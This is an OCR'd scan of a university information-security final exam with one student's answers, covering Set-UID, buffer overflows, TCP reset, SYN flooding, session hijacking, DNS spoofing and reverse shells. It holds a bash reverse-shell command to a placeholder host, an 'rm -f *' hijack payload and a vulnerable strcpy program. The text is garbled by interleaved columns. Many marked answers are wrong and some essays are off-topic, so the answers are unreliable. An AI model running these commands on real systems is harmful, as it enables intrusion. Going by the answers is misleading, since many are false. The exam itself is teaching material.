You are on page 1of 8

Student ID

program with ( C ) permissions.


1911562106 TP No./卷号:A A. Program executor B.Program Owner
Student ID
总分 C.The Root User D.Normal user
Name
PARVEZ 2. In the Linux operating system, a process has access control rights as
Name
Grade &Class 核分人 determined by the process's ( A ).
密 A. Real User ID (RUID) B.Effective User ID (EUID)
19lc 软工
Grade &Class C. Reserved user ID D.Root user ID

Note: 3. Race condition vulnerabilities usually occur ( D ).


A. When a single process accesses a resource.
Note:
IV. If the paper is not clear please ask the teacher for a new one.
III. Student shall write TSA, ID, Grade & Class in corresponding blank
II. TSA, ID can not be altered
I. Do not answer on the left part of the Sealing Line

Hubei University of Technology B. When a single thread accesses a resource.


二 O 二一—二 O 二二学年第二学期期末考试 C. when a single user accesses a resource.

IV. If the paper is not clear please ask the teacher for a new one.
III. Student shall write TSA, ID, Grade & Class in corresponding blank
II. TSA, ID can not be altered
I. Do not answer on the left part of the Sealing Line
2021to 2022Academic Year2ndSemester, Final Exam D. When multiple processes or threads access shared resources at the same
time
Introduction of Information Security 试
4. Meltdown and Spectre attacks are essentially a form of attack
题/Test Paper implemented using ( A ).
A. Buffer overflow vulnerability
()闭卷/开卷
封 B. Race condition vulnerability
( )Open-book or Close Book
C. Set-UID privilege mechanism vulnerability

D. Network Protocol stack vulnerability
Q
I II III IV V VI VII VIII IX X 5. Meltdown and Spectre attacks take advantage of the ( A ) characteristics
No.
Q 20 10 30 40 of the CPU when executing program instructions.
Result A. Out Of Order B.Access permission check
Your C.encoding D.decoding
Result
注意:学号、姓名和所在年级班级不写、不写全或写在密封线外者,试卷作废。
6. In the Linux operating system, the correspondence of the DNS
Notice: Student ID, TSA and Grade & Class are not filled properly, the paper is
information is set in the ( C ) file.
invalid.
A. /etc/hosts B./etc/local.d
C./etc/passwd D./etc/shadow
Result I. Single-choice questions (2 points for each question,
Reviewer 20 points in total) 7. In a buffer overflow attack (32-bit operating system), the following ( C )
option does not serve as a valid jump address for the attacker.
1. The Set-UID privilege mechanism allows users to run a piece of a A. 0xbffff250 B.0xbffff280 C.0xbffff300 D.0xbffff310

1
8. The program interface/library corresponding to the following ( A ) option a fixed source IP address.(× )
cannot spoof network packets.
A. Socket B.Raw socket C.PCAP library D.All of the above options 17. Buffer overflow vulnerabilities can be avoided by using strncpy(),
strncat().(√ )
9. A 4-byte integer 0xAABBCCDD in a computer is stored at four locations
in the memory area addresses of 0x1000,0x1001,0x1002,0x10003 (started 18. The Socket type of the network communication program based on TCP
from 0x1000). If the computer has a big endian byte order, the following protocol is SOCK_STREAM.(√ )
wrong statement is ( D ).
A. The 0xAA is stored in the 0x1000 B.The 0x BB is stored in 0x1001 19. In the Linux operating system, the privileged shell instruction for the
C.The 0x CC is stored in the 0x1002 D.The 0x DD is stored in 0x1000 program TEST is: $sudo chmod 4755 TEST.( √ )

10. For TCP Reset attack, the information NOT required to collect is ( D ). 20. The monitoring and forgery of data packets in ANY network can be
A. The Source IPAddress/Port B.Target IP address/port realized using network packet sniffing and spoofing techniques.(× )
C. TCP package Sequence number D.Application layer data

Result
Reviewer Result
Reviewer
2. Judgment questions (1 point per question, a total of 10 points. Please mark
√ after the correct description and mark × after the wrong description.) 3. Short answer questions (6 points for each question, 30 points in total)

11. Once the program obtains privileges through the Set-UID mechanism, 21. Please briefly describe the process and principles of DNS deception
the program has super user (root user) privileges.( √ ) attacks in a local network environment (Local DNS attacks).
Answer-21:-
12. In the Linux operating system, the user's password is stored in the Process of DNS deception:-
/etc/passwd file.(√ ) DNS deception means DNS spoofing is a collective term for a variety of
attack methods. The different methods are described below. The following
13. Race condition vulnerabilities usually occur between detection (Time Of diagram explains the basics of DNS spoofing.
Check) and use (Time Of Use) for a resource.(√ )

14. When a piece of data is read multiple times from a memory address, the
second read tends to be faster than the first, which is a phenomenon due to
the properties of CPU cache.(× )

15. TCP Reset attacks can be effectively implemented on SSH connections.


( √ )

16. An attacker can successfully implement a TCP SYN flooding attack with
2
22. Please briefly describe the principle of TCP reset attack combined with
the information in the figure below.

Answer-22:-
Spoofed RST Packet: The following fields need to be set correctly:
● Source IP address, Source Port,
● Destination IP address, Destination Port
● Sequence number (within the receiver’s window)
TCP Reset Attack on Telnet Connection
 d1. The client (e.g. the browser on the device) first requests the IP
address for the host name example.com from the DNS server.
 d2. The client receives a response to the request, but it contains a
fake IP address. The connection to the actual server for example.com
is not established.
 h1. Instead, the client sends the request to the malicious host behind
the faked IP address.
 h2. The malicious host returns what appears to be a legitimate
website page to the client. However, the fake domain name is
missing the security certificate which makes the attack visible.
 (A, B, C): These are different attack points for DNS spoofing: on the
client-side or local router, on the network connection, and on the
DNS server. TCP Reset Attack on SSH connections:-

Principles of DNS deception:-


Attackers use DNS deception that’s mean DNS spoofing
for phishing and pharming attacks with the goal of intercepting sensitive user
data. DNS spoofing makes the victim believe that they’ve ended up on a ● If the encryption is done at the network layer, the entire TCP packet
legitimate domain and uses the victim’s trust to infect them including the header is encrypted, which makes sniffing or spoofing
with malware and infect their own system. impossible.
● But as SSH conducts encryption at Transport layer, the TCP header
3
remains unencrypted. Hence the attack is successful as only header is ● As the second option is less likely to happen, TCB records will mostly stay
required for RST packet. in the queue. This causes SYN Flooding Attack.

And then check tcp states before attacking


Lunch the attack targeting telnet server
23. Please briefly describe the principle of TCP SYN flooding attack SYN Fooding Atack- results.
combined with the information in the figure below.
SYN cookies—using cryptographic hashing, the server sends its SYN-ACK
response with a sequence number (seqno) that is constructed from the client
IP address, port number, and possibly other unique identifying information.
When the client responds, this hash is included in the ACK packet. The
server verifies the ACK, and only then allocates memory for the connection.

24. Describe the functions performed by these two statements:


read (5, data, 100);
write(3, data, 100);
Answer-23:-
A SYN flood (half-open attack) is a type of denial-of-service (DDoS) attack
which aims to make a server unavailable to legitimate traffic by consuming Answer:-24-
all available server resources. By repeatedly sending initial connection The first line reads 100 bytes from the file represented by the file descriptor
request (SYN) packets, the attacker is able to overwhelm all available ports 5. The second line writes 100 bytes to the file represented by the file
on a targeted server machine, causing the targeted device to respond to descriptor 3.
legitimate traffic sluggishly or not at all.

According to information above SYN Flooding Attack 25. The ALSR (Address Space Layout Randomization) mechanism can make
Idea: the buffer overflow attack more difficult to launch, please explain the reason.
To fill the queue storing the half-open connections so that there will be no Answer-25:-
space to store TCB for any new half-open connection, basically the server One of the critical steps in the attack is to find out the address of the
cannot accept any new SYN packets. malicious code. If the memory is not randomized, each time we run the
Steps: program, the address will be the same. This makes investigation easy. The
● Do not finish the 3rd step of handshake as it will dequeue the TCB record. ASLR technique changes that, so figuring out the address becomes difficult.
● When flooding the server with SYN packets, we need to use random
source IP addresses; otherwise the attacks may be blocked by the firewalls.
● The SYN+ACK packets sent by the server may be dropped because forged
IP address may not be assigned to any machine. If it does reach an existing
machine, a RST packet will be sent out, and the TCB will be dequeued.
4
corresponding area A,B,C,D of the foo() stack frame area in the figure
Student ID Result IV. Analysis questions (10 points for each respectively.
Reviewer question, 40 points in total)

Name
26. Someone has written the C code as below(named: stack.c).
#include <stdlib.h>
Grade &Class #include <stdio.h>
密 #include <string.h>

int foo(char *str)


Note: {
char buffer[100];
IV. If the paper is not clear please ask the teacher for a new one.
III. Student shall write TSA, ID, Grade & Class in corresponding blank
II. TSA, ID can not be altered
I. Do not answer on the left part of the Sealing Line

strcpy(buffer,str);

return 1;
}

int main(int argc, char **argv)


{
封 char str[400];
FILE *badfile;

badfile = fopen("badfile","r");
fread(str,sizeof(char),200,badfile); (2) Whether the stack.c code has a buffer overflow vulnerability? if so,
foo(str); explain the principle and process of the attack between the main () function
and the foo () function in the memory stack (you can add pictures to clarify
printf("returned Properly\n"); your point), and explain what measures can be taken to prevent this
return 1; vulnerability according to what we have learned during the class.
}

(1) The following figure shows the relative storage location map of the
main () function and the foo() function in the memory stack space. Please
specifically correlate the parameter str of the foo function(represented as
str), the variable buffer[] in foo() (represented as buffer[0] to
buffer[99]),the foo function return address(represented as Return address),
and the pre-frame pointer(represented as previous frame pointer) with the
5
Then Attacker (10.0.2.70) has come there and it’s try to add some data by
Student ID
27. As shown in the figure below, the legitimate user User (IP address: (rm –f*/n) payload: 8
10.0.2.68) is connecting to the server Server (IP address: 10.0.2.69) through And then the server Acknowledgement is changed to x+8. So, TCP session
telnet(a tcp-based connection), when the Attacker (IP address: 10.0.2.70) Hijiacking attack is execute.
Name
successfully launched a TCP Session Hijacking attack on this telnet
connection. Then User would find that after 8 characters being input on the Answer-27(2):-
Grade &Class telnet terminal, he cannot enter any information anymore, and the telnet In here, attacker (10.0.2.70) to add some data by (rm –f*/n) payload: 8
密 terminal crashed. The network packet sniffing tool(wireshark, for example) Actually this code try delete all the file have on the server.
shows that after the attack is successful launched, any packets User sends to And also it’s change ACK:X+8 payload:10
Server are discarded by Server, and any packets Server sends back to User
Note: are discarded by User as well.
(1) Please analyze and explain the cause of the occurrence of this
IV. If the paper is not clear please ask the teacher for a new one.
III. Student shall write TSA, ID, Grade & Class in corresponding blank
II. TSA, ID can not be altered
I. Do not answer on the left part of the Sealing Line

phenomenon, that is, the principle of TCP Session Hijacking attack;


(2) Why did the current telnet program freeze and then crash after 8
characters being input on the telnet terminal? What impact will the Package send to user from server but user not recived it cause it already
successful attack do to the Server after this attack? changed and so that user drop the package. And send another ack to server.

in here, user send to server plyload:1 and Seq: X but server find out it
封 stranger , server want to revived x+9 cause server send x+8. But now ,it’s
stranger server drop this package
now the full process will continue again and again. No one can recied any
package. So, Hijiacking attack successful.

Answer-27(1):-
TCP/IP Hijacking is when an authorized user gains access to a genuine Attacker(also a user) send this illegal instruction (rm –f*/n) payload:8
network connection of another user. It is done in order to bypass the User and server ack changed for that reason both are drop all package
password authentication which is normally the start of a session. And also attacker try to delete all the file on this server. So it’s very dangers
Firstly, user (10.0.2.68) and server (10.0.2.69) normally connected. And attack TCP Hijiacking.
there Sequence number #: X. and Y.

6
28. Assuming that machines A and B are in the same local network 29. With the help of the network, the attacker can obtain the shell or root
(10.3.2.0/24), A sends out forged packets onto the network and B is shell of the remote server (Linux operating system-based) through the
monitoring the packets in the local network. B observes the following reverse shell attack, and then get full control of the server. The typical
information: B can sniff packets with destination IP address 1.2.3.4 from A, reverse shell instruction is as follows:
but B cannot sniff packets with destination IP address 10.3.2.30 from A.
Please answer the following questions: /bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"
(1) For B, what are the conditions to successfully sniff the information of
the local network? (1) Please explain the meaning of 0,1,2,>, <, & represented in the above
(2) Please explain the cause of the above phenomenon. statement;
(2) What does the attacker need to do on his machine in order to
Answer-28(1):- successfully get the shell information output on the server side? And please
(1): We spoof a packet using Victim IP as the source IP address and the UDP explain the meaning represented by /dev/tcp/server_ip/9090;
server as the destination IP address. We transmit this packet to the UDP (3) Combined with the above statement, explain the implementation
server, and the server responds with an extremely large packet to the person process of reverse shell attack;
in question If we send a large number of such packets, this is an assault on (4) Combined with the relevant knowledge learned in our class, what
the wounded individual's system. attacking methods can be used to successfully transmit and execute the
above reverse shell instruction on the server side?
Answer-28(1):-
(2): If the packet destination is 10.3.2.30, the receiver is on the same net-
work. Before the packet is sent out, the sender's machine will send out ARP
requests, trying to get the MAC address of the receiver. The receiver
machine very likely does not exist on the network (or it is not up), so nobody
will answer the ARP request. Without knowing the MAC address of the
receiver, the spoofed packet will not be sent out. That is why Machine B will
not see the spoofed packet. If the packet destination is a host outside of the
network, then the sender needs to send the spoofed packet to a router. In its
ARP request, it will ask for the router's MAC address. Obviously, the router Answer-29(1):-
is up, so the spoofed packet will be sent out. 1) The meaning of 0,1,2,>, <, & represented in the above statement given
below:
0 = standard input
1 = standard output
2 = standard error
>, < = redirection
& = redirect standard input

Answer-29(2):-
7
2) The interpretation of the / dev / t cp special device and the redirection successfully transmit and execute the above reverse shell instruction on the
symbols is conducted by the outer shell shelLl. Since /dev/tcp is a built-in server side.
virtual file for bash only (other shells do not recognize it), shelLl must be The local DNS attack described in the previous secti on has a limitation, i.e.,
bash. The inner shell program shelL2 does not need to be bash; other shell in order to sniff the victim's DNS query, the attacker machine and the vi ctim
programs also work. machine must be on the same LAN. This poses a chall enge to remote
attackers, who are not able to see the DNS query. There are two data items in
3) implementation process of reverse shell attack: a DNS query that are hard to get for remote attackers. The first item is the
source port number in the UDP header. DNS query is sent via a UDP packet,
Creates a copy of the file descriptor oldfp, and then assign newfd as the new the source port number of which is a 16-bit random number. The second item
file descriptor is the 16-bit transaction ID in the DNS header. A spoofed reply must contain
the correct values for these two numbers; otherwise, the reply will not be
accepted. Without being able to sniff the query, attackers can onl y guess
these two numbers. The chance is one out of 232 for each guess. If an
attacker can send out I 000 spoofed queries in a second, it takes 50 days to
try 232 times. If an attacker uses a botnet of a thousand hosts to launch the
attack, it onl y takes 1.2 hour.
The above hypothetical attack has overlooked the cache effect. Because we
have to guess both the transaction ID and the source port number, it will be
hard for us to succeed on the tirst try. If we fail once, the real reply will
arrive and be cached by Lhe targeted local DNS server. To make another try,
we have to wait for the server to send out another DNS query, but
unfortunately, since it already knows the IP address from its cache, it will not
send out a query for the same name, until the cache times out. Such a cache
effect forces attackers to wait before they can make another attempt. The
 Reverse shell is executed via injected code waiting time can be hours or days, making remote DNS cache poisoning
 Can’t assume that the target machine runs bash attacks unrealistic.
 Run bash first:

Answer-29(4):-
By Remote DNS Cache Poisoning Attack attacking methods can be used to
8

You might also like